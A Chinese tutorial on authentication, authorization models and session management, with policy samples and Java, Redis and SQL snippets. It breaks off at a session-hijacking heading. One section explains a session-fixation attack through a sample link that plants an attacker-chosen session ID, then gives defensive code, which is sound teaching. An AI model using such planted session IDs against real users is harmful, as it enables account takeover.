认证授权基础知识¶
目录¶
核心概念¶
什么是认证(Authentication)?¶
**认证**是验证用户身份的过程,回答"你是谁?"这个问题。
核心要素: - 身份标识(Identity):唯一识别用户的信息(如用户名、邮箱、手机号) - 凭证(Credentials):证明身份的信息(如密码、指纹、证书) - 认证因子(Authentication Factors): - 知识因子:你知道的(密码、PIN码、安全问题答案) - 持有因子:你拥有的(手机、令牌、智能卡) - 固有因子:你是的(指纹、人脸、虹膜)
认证强度: - 单因素认证(SFA):只使用一种因子(如仅密码) - 双因素认证(2FA):使用两种不同类型的因子 - 多因素认证(MFA):使用两种或以上因子
什么是授权(Authorization)?¶
**授权**是确定用户可以访问哪些资源的过程,回答"你能做什么?"这个问题。
核心要素: - 主体(Subject):请求访问的用户或服务 - 资源(Resource):被保护的对象(文件、API、数据) - 权限(Permission):允许的操作(读、写、删除、执行) - 策略(Policy):定义访问规则的集合
授权模型:
1. 访问控制列表(ACL - Access Control List)¶
理论基础:
ACL是最直观的访问控制模型,直接将访问权限与资源绑定。每个资源维护一个列表,明确指定哪些主体(用户、组)对该资源拥有哪些权限。
工作原理:
数据结构示例:
// 文件系统ACL示例
文件: /document/report.pdf
ACL:
- { 主体: "user:张三", 权限: ["READ", "WRITE"], 类型: ALLOW }
- { 主体: "user:李四", 权限: ["READ"], 类型: ALLOW }
- { 主体: "group:财务", 权限: ["READ", "WRITE", "DELETE"], 类型: ALLOW }
- { 主体: "user:王五", 权限: ["READ", "WRITE"], 类型: DENY }
// API资源ACL示例
资源: /api/orders/{orderId}
ACL:
- { 主体: "user:admin", 权限: ["GET", "POST", "PUT", "DELETE"], 类型: ALLOW }
- { 主体: "user:customer", 权限: ["GET"], 类型: ALLOW }
- { 主体: "role:订单管理员", 权限: ["GET", "PUT"], 类型: ALLOW }
实际场景示例:
-
Linux文件系统权限
-
AWS S3存储桶策略
优点: - ✅ 简单直观,易于理解 - ✅ 细粒度控制,精确到每个资源 - ✅ 实现简单,性能高 - ✅ 适合资源数量少的场景
缺点: - ❌ 资源数量多时管理复杂 - ❌ 权限变更需要逐个修改资源 - ❌ 难以实现统一的权限策略 - ❌ 权限分散,缺乏全局视图 - ❌ 用户离职需清理所有相关ACL
适用场景: - 文件系统、对象存储 - 资源数量有限的小型系统 - 需要资源级精确控制的场景 - 云平台资源权限管理
2. 基于角色的访问控制(RBAC - Role-Based Access Control)¶
理论基础:
RBAC是目前最广泛使用的授权模型,通过引入"角色"作为用户和权限之间的中介层,实现权限的批量管理和复用。
三层模型:
用户(User) → 角色(Role) → 权限(Permission) → 资源(Resource)
核心关系:
- 用户分配角色:一个用户可以有多个角色
- 角色拥有权限:一个角色包含多个权限
- 权限作用于资源:一个权限定义对特定资源的操作
数据结构示例:
// 用户表
User:
- id: 1001
- username: "张三"
- roles: [2, 3] // 关联角色ID
// 角色表
Role:
- id: 2
- name: "编辑者"
- description: "可以创建和编辑文章"
- permissions: [101, 102, 103]
- parent_role: null // 角色继承
// 权限表
Permission:
- id: 101
- name: "article:create"
- description: "创建文章"
- resource: "article"
- action: "create"
- id: 102
- name: "article:edit"
- resource: "article"
- action: "edit"
- id: 103
- name: "article:publish"
- resource: "article"
- action: "publish"
// 关系映射
用户张三的权限路径:
张三 → [编辑者角色] → [article:create, article:edit, article:publish]
RBAC模型层次:
- RBAC0(核心RBAC)
- 基础模型:用户-角色-权限
-
支持多对多关系
-
RBAC1(分层RBAC)
-
引入角色继承
-
RBAC2(约束RBAC)
- 职责分离约束(SoD)
-
互斥角色:一个用户不能同时拥有冲突角色
-
RBAC3(统一RBAC)
- RBAC1 + RBAC2的组合
实际场景示例:
企业内容管理系统:
角色定义:
- 普通用户:浏览文章、评论
- 作者:普通用户权限 + 创建文章、编辑自己的文章
- 编辑:作者权限 + 编辑所有文章、审核文章
- 管理员:编辑权限 + 删除文章、用户管理、系统配置
权限矩阵:
| 浏览 | 创建 | 编辑自己 | 编辑所有 | 删除 | 审核 | 用户管理 |
-----------|------|------|----------|----------|------|------|----------|
普通用户 | ✓ | | | | | | |
作者 | ✓ | ✓ | ✓ | | | | |
编辑 | ✓ | ✓ | ✓ | ✓ | | ✓ | |
管理员 | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
优点: - ✅ 权限管理集中化,易于维护 - ✅ 符合组织结构,角色对应岗位 - ✅ 批量授权,效率高 - ✅ 易于审计和合规 - ✅ 降低管理成本
缺点: - ❌ 角色爆炸问题(组合过多) - ❌ 灵活性相对较低 - ❌ 难以处理动态权限需求 - ❌ 跨组织协作场景支持不足 - ❌ 需要提前规划角色体系
适用场景: - 企业内部管理系统 - 权限结构相对稳定的应用 - 用户角色清晰的组织 - 大多数Web应用和SaaS平台
3. 基于属性的访问控制(ABAC - Attribute-Based Access Control)¶
理论基础:
ABAC通过评估主体、资源、环境的多维属性来动态决定访问权限,是最灵活的授权模型。
核心要素:
访问决策 = f(主体属性, 资源属性, 环境属性, 操作)
1. 主体属性(Subject Attributes):
- 用户身份:用户ID、用户名
- 组织属性:部门、职级、工作地点
- 安全属性:安全级别、认证方式
2. 资源属性(Resource Attributes):
- 资源类型:文档、数据、API
- 资源元数据:创建者、所属部门、分类
- 敏感级别:公开、内部、机密
3. 环境属性(Environment Attributes):
- 时间:日期、时间段、工作日/非工作日
- 位置:IP地址、地理位置、网络区域
- 上下文:设备类型、安全状态
4. 操作(Action):
- 读取、创建、修改、删除
策略规则结构:
策略规则格式:
IF (条件表达式) THEN (允许/拒绝)
示例策略:
Policy-001: "部门文档访问"
IF (
subject.department == resource.department AND
subject.security_level >= resource.security_level AND
action IN ["read", "write"]
) THEN ALLOW
Policy-002: "工作时间限制"
IF (
subject.role == "contractor" AND
environment.time NOT IN working_hours
) THEN DENY
Policy-003: "跨部门协作"
IF (
subject.user_id IN resource.collaborators AND
action == "read"
) THEN ALLOW
Policy-004: "地理位置限制"
IF (
resource.classification == "confidential" AND
environment.location NOT IN ["office", "vpn"]
) THEN DENY
决策流程:
1. 收集属性
├─ 从认证上下文获取主体属性
├─ 从资源元数据获取资源属性
└─ 从请求上下文获取环境属性
2. 策略评估
├─ 加载适用的策略规则
├─ 逐条评估规则条件
└─ 合并评估结果(优先级、冲突解决)
3. 访问决策
└─ 返回 ALLOW / DENY / NOT_APPLICABLE
实际场景示例:
场景1:医疗系统患者数据访问
规则:
IF (
subject.role == "doctor" AND
subject.department == patient.current_department AND
subject.hospital == patient.hospital AND
environment.network == "internal"
) THEN ALLOW READ patient_record
场景2:金融系统交易审批
规则:
IF (
action == "approve_transaction" AND
transaction.amount <= subject.approval_limit AND
subject.has_valid_mfa == true AND
environment.time IN business_hours
) THEN ALLOW
场景3:云存储文件共享
规则:
IF (
subject.user_id == resource.owner OR
subject.user_id IN resource.shared_with OR
(subject.organization == resource.organization AND
resource.visibility == "organization")
) THEN ALLOW READ
优点: - ✅ 极高的灵活性和表达能力 - ✅ 支持动态权限决策 - ✅ 适应复杂业务规则 - ✅ 细粒度控制 - ✅ 减少角色爆炸问题 - ✅ 支持跨组织协作
缺点: - ❌ 实现复杂度高 - ❌ 性能开销较大(需评估多个属性) - ❌ 策略编写和维护难度大 - ❌ 调试和审计困难 - ❌ 需要完善的属性管理系统 - ❌ 学习曲线陡峭
适用场景: - 复杂的企业环境(多部门、多层级) - 需要动态权限的场景 - 跨组织协作平台 - 云服务和多租户系统 - 需要上下文感知的安全系统 - 医疗、金融等强合规行业
4. 基于策略的访问控制(PBAC - Policy-Based Access Control)¶
理论基础:
PBAC通过专门的策略语言和策略引擎来定义和执行访问控制规则,强调策略的集中管理和动态评估。
核心组件:
1. 策略定义点(PDP - Policy Decision Point)
- 评估策略并做出访问决策
2. 策略执行点(PEP - Policy Enforcement Point)
- 拦截访问请求
- 调用PDP获取决策
- 执行决策结果
3. 策略信息点(PIP - Policy Information Point)
- 提供决策所需的属性信息
4. 策略管理点(PAP - Policy Administration Point)
- 策略的创建、修改、删除
策略语言(XACML概念):
<!-- XACML风格的策略示例 -->
<Policy PolicyId="policy-01" RuleCombiningAlg="permit-overrides">
<Target>
<Resources>
<Resource>
<ResourceMatch MatchId="string-equal">
<AttributeValue>document</AttributeValue>
<ResourceAttributeDesignator AttributeId="resource-type"/>
</ResourceMatch>
</Resource>
</Resources>
</Target>
<Rule RuleId="rule-01" Effect="Permit">
<Condition>
<Apply FunctionId="and">
<Apply FunctionId="string-equal">
<AttributeValue>owner</AttributeValue>
<SubjectAttributeDesignator AttributeId="relationship"/>
</Apply>
<Apply FunctionId="time-in-range">
<EnvironmentAttributeDesignator AttributeId="current-time"/>
<AttributeValue>09:00:00</AttributeValue>
<AttributeValue>18:00:00</AttributeValue>
</Apply>
</Apply>
</Condition>
</Rule>
</Policy>
现代策略语言(OPA Rego风格):
# Open Policy Agent (OPA) 策略示例
package document.access
# 默认拒绝
default allow = false
# 文档所有者可以执行任何操作
allow {
input.subject.id == input.resource.owner_id
}
# 同部门成员可以读取
allow {
input.action == "read"
input.subject.department == input.resource.department
}
# 经理可以访问下属创建的文档
allow {
input.subject.role == "manager"
input.resource.owner_id in input.subject.subordinates
}
# 审计员可以只读查看所有文档
allow {
input.subject.role == "auditor"
input.action == "read"
}
# 策略组合示例
allow {
# 工作时间限制
work_hours
# 来自公司网络
company_network
# 有有效权限
has_permission
}
work_hours {
hour := time.clock(time.now_ns())[0]
hour >= 9
hour < 18
}
company_network {
net.cidr_contains("10.0.0.0/8", input.environment.ip)
}
决策流程:
实际场景示例:
场景:企业文档管理系统
策略集合:
# 基础访问策略
policy "document_owner_full_access" {
effect = "allow"
resources = ["document:*"]
actions = ["*"]
condition = "subject.id == resource.owner_id"
}
# 分享策略
policy "shared_document_access" {
effect = "allow"
resources = ["document:*"]
actions = ["read", "comment"]
condition = "subject.id in resource.shared_users"
}
# 时间限制策略
policy "business_hours_only" {
effect = "deny"
principals = ["role:contractor"]
resources = ["*"]
actions = ["*"]
condition = "!is_business_hours(environment.time)"
}
# 安全级别策略
policy "classified_document_access" {
effect = "allow"
resources = ["document:*"]
actions = ["read"]
condition = """
resource.classification == "classified" AND
subject.clearance_level >= resource.required_clearance AND
subject.completed_training == true
"""
}
# 地理限制策略
policy "geo_restriction" {
effect = "deny"
resources = ["document:confidential:*"]
actions = ["download"]
condition = "environment.country not in ['US', 'CN']"
}
优点: - ✅ 策略集中管理,统一决策 - ✅ 支持复杂业务逻辑 - ✅ 策略与代码分离,易于更新 - ✅ 可扩展性强 - ✅ 支持策略版本控制和审计 - ✅ 可以组合多种授权模型
缺点: - ❌ 需要额外的策略引擎基础设施 - ❌ 策略语言学习成本 - ❌ 性能开销(策略评估) - ❌ 调试复杂策略困难 - ❌ 可能的单点故障(PDP)
适用场景: - 微服务架构(统一授权) - 需要频繁调整权限规则的系统 - 多种授权模型共存的场景 - 云原生应用 - 需要细粒度审计的系统 - 金融、政府等强监管行业
5. 其他授权模型¶
DAC(自主访问控制 - Discretionary Access Control)¶
核心概念: 资源的所有者有权决定谁可以访问该资源。
特点: - 资源创建者自动成为所有者 - 所有者可以授予/撤销他人的访问权限 - 权限可以传递
典型应用:
MAC(强制访问控制 - Mandatory Access Control)¶
核心概念: 由系统强制执行的访问控制,用户无法改变。基于安全标签和安全级别。
多级安全模型(Bell-LaPadula):
安全级别:绝密(Top Secret) > 机密(Secret) > 内部(Confidential) > 公开(Public)
规则:
- No Read Up:用户不能读取高于自己级别的信息
- No Write Down:用户不能写入低于自己级别的信息
典型应用:
授权模型对比¶
| 维度 | ACL | RBAC | ABAC | PBAC | DAC | MAC |
|---|---|---|---|---|---|---|
| 复杂度 | 低 | 中 | 高 | 高 | 低 | 中 |
| 灵活性 | 低 | 中 | 极高 | 高 | 中 | 低 |
| 管理成本 | 高(资源多时) | 低 | 中 | 中 | 低 | 低 |
| 性能影响 | 低 | 低 | 中-高 | 中 | 低 | 低 |
| 扩展性 | 差 | 良好 | 优秀 | 优秀 | 一般 | 一般 |
| 细粒度控制 | 优秀 | 一般 | 优秀 | 优秀 | 优秀 | 一般 |
| 动态权限 | 不支持 | 不支持 | 支持 | 支持 | 不支持 | 不支持 |
| 学习曲线 | 平缓 | 平缓 | 陡峭 | 陡峭 | 平缓 | 中等 |
| 审计能力 | 一般 | 良好 | 优秀 | 优秀 | 一般 | 优秀 |
| 典型场景 | 文件系统 | 企业应用 | 云平台 | 微服务 | 个人文件 | 军事系统 |
| 适用规模 | 小型 | 中大型 | 大型 | 大型 | 小型 | 中型 |
选择建议:
场景驱动选择:
1. 小型应用、原型系统
→ ACL(简单够用)
2. 企业内部系统、SaaS产品
→ RBAC(成熟稳定)
3. 复杂权限、跨组织协作
→ ABAC(灵活强大)
4. 微服务、云原生、多模型组合
→ PBAC(统一决策)
5. 个人文件、用户生成内容
→ DAC(用户自主)
6. 高安全要求、军事/政府
→ MAC(强制保护)
混合使用:
实际系统常常组合多种模型
例如:RBAC(基础权限)+ ABAC(动态规则)+ ACL(特殊资源)
认证与授权的区别¶
| 维度 | 认证(Authentication) | 授权(Authorization) |
|---|---|---|
| 核心问题 | 你是谁? | 你能做什么? |
| 目的 | 验证身份 | 控制访问 |
| 时机 | 首先执行 | 认证成功后执行 |
| 输入 | 用户名+密码/令牌 | 用户身份+请求资源 |
| 输出 | 身份确认(是/否) | 访问决策(允许/拒绝) |
| 实现方式 | 登录、SSO、OAuth | RBAC、ACL、策略引擎 |
| HTTP状态码 | 401 Unauthorized | 403 Forbidden |
实际流程示例:
1. 用户访问受保护资源
2. 系统检查是否已认证 → 未认证 → 跳转登录页(认证)
3. 用户输入用户名+密码
4. 系统验证凭证 → 认证成功 → 建立会话
5. 系统检查用户权限 → 检查授权策略(授权)
6. 授权通过 → 返回资源 | 授权失败 → 返回403错误
会话管理¶
为什么需要会话?(Why Session?)¶
HTTP是**无状态协议**(Stateless Protocol),这意味着: - 服务器无法识别两次请求是否来自同一用户 - 每个请求都是独立的,服务器处理完就"忘记"了 - 无法维护用户的登录状态和上下文信息
**会话管理**通过在多个请求间维护用户状态来解决这个问题,让服务器能够"记住"用户。
典型场景:
场景:用户浏览电商网站
1. 用户登录 → 服务器需要记住"这个用户已登录"
2. 浏览商品 → 服务器需要知道"这是之前登录的那个用户"
3. 加入购物车 → 需要把商品关联到"这个用户的购物车"
4. 结算付款 → 需要确认"这是同一个登录用户"
没有会话管理,每次请求都需要重新登录!
1. 基于服务器的会话(Session)¶
1.1 Session核心概念(What)¶
**Session**是服务器端存储的用户会话数据,通过**SessionID**与客户端关联。
核心组成:
Session = SessionID + SessionData
SessionID(会话标识):
- 唯一标识一个会话
- 通常是一个随机字符串
- 示例:3F2504E0-4F89-41D3-9A0C-0305E82C3301
SessionData(会话数据):
- 用户信息:userId, username, roles
- 业务数据:购物车、浏览历史
- 状态信息:登录时间、最后活动时间
1.2 Session工作原理(How)¶
完整流程:
┌─────────┐ ┌─────────┐
│ 客户端 │ │ 服务器 │
└────┬────┘ └────┬────┘
│ │
│ 1. POST /login │
│ username=zhang&password=*** │
├────────────────────────────────────────────>│
│ │
│ │ 2. 验证凭证
│ │ 3. 创建Session对象
│ │ session = {
│ │ userId: 1001,
│ │ username: "zhang",
│ │ loginTime: "2024-..."
│ │ }
│ │ 4. 生成SessionID
│ │ sessionId = UUID.random()
│ │ 5. 存储Session
│ │ storage.put(sessionId, session)
│ │
│ 6. 返回响应 + Set-Cookie │
│ Set-Cookie: JSESSIONID=abc123; HttpOnly │
│<────────────────────────────────────────────┤
│ │
│ 7. 浏览器保存Cookie │
│ Cookie: JSESSIONID=abc123 │
│ │
│ 8. GET /api/profile │
│ Cookie: JSESSIONID=abc123 │
├────────────────────────────────────────────>│
│ │
│ │ 9. 提取SessionID
│ │ 10. 查找Session
│ │ session = storage.get("abc123")
│ │ 11. 验证Session有效性
│ │ 12. 获取用户信息
│ │
│ 13. 返回用户数据 │
│<────────────────────────────────────────────┤
│ │
关键步骤说明:
-
Session创建
-
SessionID传递
-
Session查找
1.3 常见疑问:未登录时是否生成Session/Token?¶
这是一个非常重要的概念区分点,直接影响到系统的设计和实现。
Session的情况¶
答案:取决于框架配置,通常有两种情况
情况1:自动创建匿名Session(默认行为)
// 用户第一次访问网站(未登录)
GET /homepage
// Servlet容器自动创建匿名Session
HttpSession session = request.getSession(); // 默认true,会自动创建
// 生成SessionID: abc123
// 但Session内容是空的,没有用户信息
// 响应
Set-Cookie: JSESSIONID=abc123; Path=/; HttpOnly
特点: - ✅ 用于跟踪匿名用户(浏览历史、购物车等) - ✅ Session存在,但没有用户身份信息 - ✅ 可以存储临时数据(如:未登录时的购物车) - ⚠️ 占用服务器资源(即使用户未登录)
情况2:懒创建Session(按需创建)
// 第一次访问(未登录)
HttpSession session = request.getSession(false); // false表示不自动创建
// session == null
// 只在登录成功后创建Session
public void onLoginSuccess(User user) {
HttpSession session = request.getSession(true); // true表示创建
session.setAttribute("user", user);
}
实际应用示例:电商网站
/**
* 区分匿名Session和登录Session
*/
@Service
public class SessionService {
/**
* 检查用户是否已登录
*/
public boolean isAuthenticated(HttpSession session) {
if (session == null) {
return false;
}
// 检查Session中是否有用户信息
User user = (User) session.getAttribute("user");
return user != null;
}
/**
* 匿名Session使用场景:未登录的购物车
*/
public void addToCart(HttpSession session, Product product) {
// 即使未登录,也可以使用Session存储购物车
List<Product> cart = (List) session.getAttribute("cart");
if (cart == null) {
cart = new ArrayList<>();
session.setAttribute("cart", cart);
}
cart.add(product);
}
/**
* 登录后转换为认证Session
*/
public void login(HttpServletRequest request, User user) {
// 1. 获取或创建Session
HttpSession session = request.getSession(true);
// 2. 保存旧的匿名数据(购物车)
List<Product> anonymousCart = (List) session.getAttribute("cart");
// 3. 重新生成SessionID(防止Session固定攻击)
request.changeSessionId();
// 4. 设置用户信息(Session从匿名变为认证)
session.setAttribute("user", user);
// 5. 恢复购物车数据
if (anonymousCart != null) {
session.setAttribute("cart", anonymousCart);
}
log.info("User {} logged in, session converted from anonymous to authenticated",
user.getUsername());
}
}
实际场景流程:
电商网站Session生命周期:
1. 用户打开网站(未登录)
┌─────────────────────────────────┐
│ 创建匿名Session │
│ SessionID: abc123 │
│ Data: { cart: [] } │ ← 可以存储购物车
└─────────────────────────────────┘
2. 用户浏览并添加商品到购物车
┌─────────────────────────────────┐
│ SessionID: abc123 │
│ Data: { │
│ cart: [商品A, 商品B] │ ← 未登录也能购物
│ } │
└─────────────────────────────────┘
3. 用户点击"结算",跳转到登录页
4. 用户登录成功
┌─────────────────────────────────┐
│ SessionID: xyz789 (重新生成) │ ← 防止Session固定攻击
│ Data: { │
│ user: { id: 1001, ... }, │ ← 添加用户信息
│ cart: [商品A, 商品B] │ ← 保留购物车数据
│ } │
└─────────────────────────────────┘
5. 用户完成结算
- Session继续使用
- 购物车数据可以清空或保留
JWT Token的情况¶
答案:不会!未登录时不生成JWT Token
JWT Token只在**登录成功后**才生成,原因:
JWT Token特点:
1. 自包含:Token中包含用户身份信息(sub, username, roles)
2. 有签名:签名证明用户身份已被服务器验证
3. 有过期时间:表示认证的有效期
4. 代表认证状态:Token的存在本身就表示"已认证"
未登录的用户没有经过身份验证,无法生成有效的JWT!
流程对比:
未登录用户访问受保护API:
┌──────────┐ ┌──────────┐
│ 客户端 │ │ 服务器 │
└────┬─────┘ └────┬─────┘
│ │
│ GET /api/user/profile │
│ (无Token) │
├──────────────────────────> │
│ │
│ │ 检查Authorization Header
│ │ → 没有Token
│ │ → 无法识别用户身份
│ │
│ 401 Unauthorized │
│ { "error": "Authentication required" }
│<────────────────────────── │
│ │
登录后获取Token:
│ │
│ POST /api/auth/login │
│ { │
│ "username": "zhang", │
│ "password": "***" │
│ } │
├──────────────────────────> │
│ │
│ │ 1. 验证凭证成功
│ │ 2. 生成JWT Token
│ │ {
│ │ "sub": "1001",
│ │ "username": "zhang",
│ │ "roles": ["user"],
│ │ "exp": 1735689600
│ │ }
│ │ 3. 签名Token
│ │
│ 200 OK │
│ { │
│ "access_token": "eyJ...",
│ "token_type": "Bearer", │
│ "expires_in": 3600 │
│ } │
│<────────────────────────── │
│ │
│ 客户端保存Token │
│ (内存/Cookie/Storage) │
│ │
│ GET /api/user/profile │
│ Authorization: Bearer eyJ...
├──────────────────────────> │
│ │
│ │ 验证Token签名
│ │ 提取用户信息
│ │ 执行业务逻辑
│ │
│ 200 OK │
│ { "id": 1001, ... } │
│<────────────────────────── │
RESTful API实现示例:
@RestController
public class ApiController {
/**
* 公开接口:无需Token
*/
@GetMapping("/api/products")
public List<Product> getProducts() {
// 任何人都可以访问,不需要Token
return productService.getAllProducts();
}
/**
* 受保护接口:必须有Token
*/
@GetMapping("/api/user/profile")
public UserProfile getMyProfile(@RequestHeader("Authorization") String authHeader) {
// 1. 检查Token是否存在
if (authHeader == null || !authHeader.startsWith("Bearer ")) {
throw new UnauthorizedException("Missing or invalid token");
}
// 2. 提取Token
String token = authHeader.substring(7);
// 3. 验证Token
try {
Claims claims = jwtService.validateToken(token);
String userId = claims.getSubject();
// 4. 使用Token中的用户信息
return userService.getProfile(userId);
} catch (JwtException e) {
throw new UnauthorizedException("Invalid token");
}
}
/**
* 登录接口:生成Token
*/
@PostMapping("/api/auth/login")
public TokenResponse login(@RequestBody LoginRequest request) {
// 1. 验证凭证
User user = authService.authenticate(
request.getUsername(),
request.getPassword()
);
if (user == null) {
throw new BadCredentialsException("Invalid credentials");
}
// 2. 只有验证成功后才生成Token
String accessToken = jwtService.generateAccessToken(user);
String refreshToken = jwtService.generateRefreshToken(user);
// 3. 返回Token
return new TokenResponse(
accessToken,
"Bearer",
3600, // 1小时
refreshToken
);
}
}
对比总结¶
| 维度 | Session | JWT Token |
|---|---|---|
| 未登录时 | 可能创建匿名Session | 不会生成Token |
| 生成时机 | 第一次访问或登录时 | 仅在登录成功后 |
| 未登录用户 | 可以跟踪(匿名Session) | 无法跟踪(无Token) |
| 典型用途 | 购物车、浏览历史、推荐 | 认证和授权 |
| 包含信息 | 可以为空或只有匿名数据 | 必须包含用户身份 |
| 服务器存储 | 需要(即使匿名) | 不需要 |
| 资源占用 | 占用(每个访客都有) | 不占用(只有登录用户) |
关键区别:
Session:
✅ 可以在未登录时创建(用于跟踪匿名用户)
✅ 登录后在Session中添加用户信息
✅ Session本身是容器,可以存储任何数据
✅ 适合需要跟踪匿名用户的场景
JWT Token:
✅ 只在登录成功后生成
✅ Token本身就代表"已认证"
✅ Token必须包含用户身份信息
✅ 适合纯API认证场景
实际应用建议:
场景1:需要跟踪匿名用户(电商、社交)
推荐:使用Session
原因:
- 未登录用户也需要购物车
- 需要记录浏览历史做推荐
- 需要保存用户偏好设置
场景2:纯API认证(移动App、微服务)
推荐:使用JWT
原因:
- 不需要跟踪匿名用户
- 只有登录用户才能访问API
- 无状态,易于扩展
场景3:混合场景(Web + Mobile)
推荐:组合使用
- Web端:未登录用LocalStorage/匿名Session
- 登录后:生成JWT Token
- 迁移匿名数据到用户账户
代码示例:混合方案
/**
* 混合方案:匿名购物车 + JWT认证
*/
@Service
public class HybridCartService {
/**
* 未登录:使用匿名标识(客户端生成的UUID)
*/
public void addToAnonymousCart(String anonymousId, Product product) {
// 存储在临时表或缓存中
String key = "anonymous:cart:" + anonymousId;
redis.sadd(key, product.getId());
redis.expire(key, 7, TimeUnit.DAYS); // 7天过期
}
/**
* 登录:生成JWT + 迁移匿名购物车
*/
public TokenResponse loginAndMergeCart(String username,
String password,
String anonymousId) {
// 1. 验证凭证
User user = authenticate(username, password);
// 2. 生成JWT Token
String token = jwtService.generateToken(user);
// 3. 迁移匿名购物车
if (anonymousId != null) {
String anonymousKey = "anonymous:cart:" + anonymousId;
String userKey = "user:cart:" + user.getId();
// 合并购物车数据
Set<String> anonymousCart = redis.smembers(anonymousKey);
redis.sadd(userKey, anonymousCart.toArray(new String[0]));
// 删除匿名数据
redis.del(anonymousKey);
}
// 4. 返回Token
return new TokenResponse(token);
}
/**
* 登录后:使用JWT中的用户ID
*/
public void addToUserCart(String jwtToken, Product product) {
// 从Token中提取用户ID
Claims claims = jwtService.validateToken(jwtToken);
String userId = claims.getSubject();
// 存储到用户购物车
String key = "user:cart:" + userId;
redis.sadd(key, product.getId());
}
}
1.4 SessionID生成算法¶
安全要求: - 随机性:不可预测 - 唯一性:不会冲突 - 长度适中:32-128字符
常用生成方法:
方法1:UUID(推荐)
sessionId = UUID.randomUUID().toString()
示例:3f2504e0-4f89-41d3-9a0c-0305e82c3301
方法2:安全随机数 + Base64
byte[] randomBytes = new byte[32];
SecureRandom.getInstanceStrong().nextBytes(randomBytes);
sessionId = Base64.getUrlEncoder().encodeToString(randomBytes)
示例:5J2vM8kPqL9Xw3nF7hR4tY6uI1oP
方法3:哈希组合(增强)
data = userId + timestamp + serverSecret + randomNumber
sessionId = SHA256(data)
示例:a7f3b9c2e1d4f8b5a6c3e2d1f9b8c7a6
⚠️ 错误示例(不安全):
sessionId = userId + timestamp // 可预测!
sessionId = MD5(userId) // 可推测!
1.4 Session存储方案¶
方案1:内存存储(In-Memory)¶
**适用场景:**单机应用、开发测试环境
实现方式:
// 使用ConcurrentHashMap存储
private static final Map<String, SessionData> sessions =
new ConcurrentHashMap<>();
// 创建Session
public String createSession(SessionData data) {
String sessionId = UUID.randomUUID().toString();
sessions.put(sessionId, data);
return sessionId;
}
// 获取Session
public SessionData getSession(String sessionId) {
return sessions.get(sessionId);
}
// 删除Session
public void removeSession(String sessionId) {
sessions.remove(sessionId);
}
优点: - ✅ 性能最高,直接内存访问 - ✅ 实现简单 - ✅ 无需额外组件
缺点: - ❌ 服务器重启Session丢失 - ❌ 不支持分布式 - ❌ 内存占用大(用户多时) - ❌ 无法持久化
方案2:数据库存储(Database)¶
**适用场景:**需要持久化、审计要求高
表结构设计:
CREATE TABLE sessions (
session_id VARCHAR(64) PRIMARY KEY,
user_id BIGINT NOT NULL,
session_data TEXT, -- JSON格式存储
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
last_accessed_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
expires_at TIMESTAMP NOT NULL,
ip_address VARCHAR(45),
user_agent VARCHAR(255),
INDEX idx_user_id (user_id),
INDEX idx_expires_at (expires_at)
);
-- 清理过期Session的定时任务
DELETE FROM sessions WHERE expires_at < NOW();
优点: - ✅ 数据持久化,服务器重启不丢失 - ✅ 支持审计和统计 - ✅ 可以查询用户的所有Session
缺点: - ❌ 性能较差(磁盘I/O) - ❌ 增加数据库负载 - ❌ 需要定期清理过期数据
方案3:Redis存储(推荐用于分布式)¶
**适用场景:**分布式系统、高并发场景
实现方式:
// 存储Session
SET session:abc123 "{\"userId\":1001,\"username\":\"zhang\"}" EX 1800
// 数据结构
Key: session:{sessionId}
Value: JSON格式的Session数据
TTL: 1800秒(30分钟)
// 读取Session
GET session:abc123
// 更新过期时间(滑动过期)
EXPIRE session:abc123 1800
// 删除Session(登出)
DEL session:abc123
// 获取用户的所有Session(多设备登录管理)
Key模式: session:user:{userId}:{deviceId}
KEYS session:user:1001:*
优点: - ✅ 高性能(内存数据库) - ✅ 支持分布式 - ✅ 自动过期(TTL) - ✅ 支持集群和主从复制 - ✅ 丰富的数据结构
缺点: - ❌ 需要额外的Redis服务器 - ❌ 增加架构复杂度 - ❌ Redis宕机影响所有Session
1.5 分布式Session解决方案¶
问题场景:¶
解决方案对比:¶
方案1:Session粘滞(Sticky Session)
原理:通过负载均衡器确保同一用户的请求总是路由到同一台服务器
配置示例(Nginx):
upstream backend {
ip_hash; # 基于IP哈希
server server1:8080;
server server2:8080;
server server3:8080;
}
流程:
客户端IP: 192.168.1.100 → 哈希计算 → 总是路由到server2
优点: - ✅ 实现简单,无需修改应用代码 - ✅ 无Session同步开销
缺点: - ❌ 服务器宕机导致Session丢失 - ❌ 负载不均衡(某些服务器压力大) - ❌ 扩容缩容困难
方案2:Session复制(Session Replication)
原理:每台服务器同步Session数据到其他服务器
Server A创建Session → 广播到Server B, C, D
Server B修改Session → 广播到Server A, C, D
实现:Tomcat Cluster、Spring Session
优点: - ✅ 高可用,任意服务器宕机不影响 - ✅ 用户请求可路由到任意服务器
缺点: - ❌ 网络开销大(N²复杂度) - ❌ Session数据不一致风险 - ❌ 扩展性差(服务器多时性能下降)
方案3:集中式Session存储(推荐)
原理:将Session统一存储在外部存储(Redis/Memcached)
所有服务器 → 共享Redis → 统一Session存储
架构:
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Server A │ │ Server B │ │ Server C │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
└───────────────┼───────────────┘
│
┌──────┴──────┐
│ Redis │
│ (Session │
│ Storage) │
└─────────────┘
优点: - ✅ 完美支持分布式 - ✅ 易于扩展 - ✅ 数据一致性好 - ✅ 支持持久化
缺点: - ❌ Redis成为单点(需要高可用方案) - ❌ 网络延迟(相比本地内存)
方案选择建议:
1.6 Session安全最佳实践¶
1. 防止Session固定攻击(Session Fixation)¶
攻击原理:
1. 攻击者获取一个SessionID:abc123
2. 攻击者诱骗受害者使用这个SessionID登录
(通过链接:http://example.com?jsessionid=abc123)
3. 受害者用自己的账号登录成功
4. 攻击者使用abc123访问,获得受害者权限
防护措施:
// 登录成功后重新生成SessionID
public void onLoginSuccess(HttpServletRequest request, User user) {
// 1. 获取旧Session的数据
HttpSession oldSession = request.getSession(false);
Map<String, Object> attributes = saveAttributes(oldSession);
// 2. 使旧Session失效
if (oldSession != null) {
oldSession.invalidate();
}
// 3. 创建新Session
HttpSession newSession = request.getSession(true);
// 4. 恢复数据到新Session
restoreAttributes(newSession, attributes);
// 5. 存储用户信息
newSession.setAttribute("user", user);
// 日志记录
log.info("Session regenerated for user: {}", user.getUsername());
}
2. 防止Session劫持(Session Hijacking)¶
